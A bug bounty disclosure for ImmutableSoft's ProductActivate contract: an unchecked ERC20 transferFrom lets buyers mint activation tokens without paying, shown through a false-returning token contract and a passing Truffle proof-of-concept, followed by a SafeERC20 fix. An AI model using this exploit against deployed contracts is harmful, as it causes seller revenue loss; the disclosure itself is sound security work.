ProductActivate mints activations when ERC20 transferFrom returns false

[Shawnleeeeee]

ProductActivate mints activations when ERC20 transferFrom() returns false

Summary

I found that ProductActivate.activatePurchase() mints the activation token before collecting ERC20 payment, then calls transferFrom() without checking the returned boolean.

For ERC20 tokens that return false instead of reverting on transfer failure, the purchase completes even though the seller receives no token payment. The buyer still receives a valid activation token.

I am reporting this because the bounty page excludes third-party-token bugs unless the issue is directly caused by ImmutableSoft's use of that component. In this case, the root problem is the local call pattern: the contract treats an ERC20 false return as success.

Affected code

Repository: ImmutableSoft/ImmutableEcosystem

Commit reviewed: 0b65e04bdf607bef4ca36e626ca5bd88b401b2f4

Affected file: contracts/ProductActivate.sol

The ERC20 payment branch calls transferFrom() but does not require a true return:

IERC20Upgradeable erc20TokenInterface = IERC20Upgradeable(theOffer.erc20token);

// Transfer tokens to the sender and revert if failure
erc20TokenInterface.transferFrom(msg.sender, entityInterface.
    entityIndexToAddress(entityIndex), theOffer.priceInTokens * numPurchases);

This happens after the loop has already minted the activation token:

tokenId = activateTokenInterface.mint(msg.sender, entityIndex, productIndex,
                            licenseHashes[i], theOffer.value,
    ((theOffer.value & commonInterface.RicardianReqFlag()) > 0) ?
                            theOffer.ricardianParent : 0);

Impact

A seller can create an ERC20-priced offer using a token that returns false on failed transfers. A buyer can then call activatePurchase() without a successful ERC20 payment and still receive the activation token.

The concrete impact is unpaid activation issuance and seller revenue loss for ERC20-denominated offers that use a false-return token. I am not claiming theft of all ecosystem funds or unauthorized access to ETH payments.

Reproduction

I added a minimal ERC20-compatible test token that always returns false from transfer() and transferFrom() without moving balances:

pragma solidity >=0.7.6;

// SPDX-License-Identifier: GPL-3.0-or-later

contract FalseReturnToken {
  string public name = "FalseReturnToken";
  string public symbol = "FRT";
  uint8 public decimals = 18;
  uint256 public totalSupply = 1000000 ether;

  mapping(address => uint256) public balanceOf;
  mapping(address => mapping(address => uint256)) public allowance;

  constructor() {
    balanceOf[msg.sender] = totalSupply;
  }

  function approve(address spender, uint256 amount) external returns (bool) {
    allowance[msg.sender][spender] = amount;
    return true;
  }

  function transfer(address, uint256) external pure returns (bool) {
    return false;
  }

  function transferFrom(address, address, uint256) external pure returns (bool) {
    return false;
  }
}

I then used this focused test:

const StringCommon = artifacts.require("StringCommon.sol");
const ImmutableEntity = artifacts.require("ImmutableEntity.sol");
const ImmutableProduct = artifacts.require("ImmutableProduct.sol");
const ActivateToken = artifacts.require("ActivateToken.sol");
const ProductActivate = artifacts.require("ProductActivate.sol");
const FalseReturnToken = artifacts.require("FalseReturnToken.sol");

contract("ProductActivate false-return ERC20 PoC", accounts => {
  const seller = accounts[1];
  const buyer = accounts[2];
  const owner = accounts[0];

  it("mints an activation even when ERC20 transferFrom returns false", async () => {
    const common = await StringCommon.new();
    await common.initialize();

    const entity = await ImmutableEntity.new();
    await entity.initialize(common.address);

    const product = await ImmutableProduct.new();
    await product.initialize(entity.address, common.address);

    const activateToken = await ActivateToken.new();
    await activateToken.initialize(common.address, entity.address);

    const productActivate = await ProductActivate.new();
    await productActivate.initialize(
      common.address,
      entity.address,
      product.address,
      activateToken.address,
      "0x0000000000000000000000000000000000000000"
    );

    await activateToken.restrictToken(
      productActivate.address,
      "0x0000000000000000000000000000000000000000"
    );

    await entity.entityCreate("Seller", "https://seller.example", { from: seller });
    const customTokenCreatorStatus = web3.utils.toBN(1).add(web3.utils.toBN(2).pow(web3.utils.toBN(34)));
    await entity.entityStatusUpdate(1, customTokenCreatorStatus, { from: owner });

    await product.productCreate(
      "Product",
      "https://seller.example/product",
      "https://seller.example/logo.png",
      0,
      { from: seller }
    );

    const falseToken = await FalseReturnToken.new();
    await product.productOfferFeature(
      0,
      falseToken.address,
      100,
      1,
      0,
      0,
      0,
      "https://seller.example/offer",
      false,
      0,
      0,
      { from: seller }
    );

    await productActivate.activatePurchase(
      1,
      0,
      0,
      1,
      [12345],
      [0],
      { from: buyer }
    );

    assert.equal(
      (await activateToken.balanceOf(buyer)).toString(),
      "1",
      "buyer received activation token"
    );
    assert.equal(
      (await falseToken.balanceOf(seller)).toString(),
      "0",
      "seller received no ERC20 payment"
    );
  });
});

Focused result:

Contract: ProductActivate false-return ERC20 PoC
  PASS mints an activation even when ERC20 transferFrom returns false

1 passing

The test proves:

• A seller creates an ERC20-denominated activation offer.
• The offer token's transferFrom() returns false and does not move payment.
• ProductActivate.activatePurchase() still completes.
• The buyer receives one activation token.
• The seller receives zero ERC20 payment.

Suggested fix

Use SafeERC20Upgradeable.safeTransferFrom() for ERC20-denominated purchases, or explicitly require that transferFrom() returns true.

For example:

using SafeERC20Upgradeable for IERC20Upgradeable;

IERC20Upgradeable(theOffer.erc20token).safeTransferFrom(
    msg.sender,
    entityInterface.entityIndexToAddress(entityIndex),
    theOffer.priceInTokens * numPurchases
);

This makes false-return and no-return ERC20 behavior explicit and prevents activation minting from being treated as paid unless payment actually succeeds.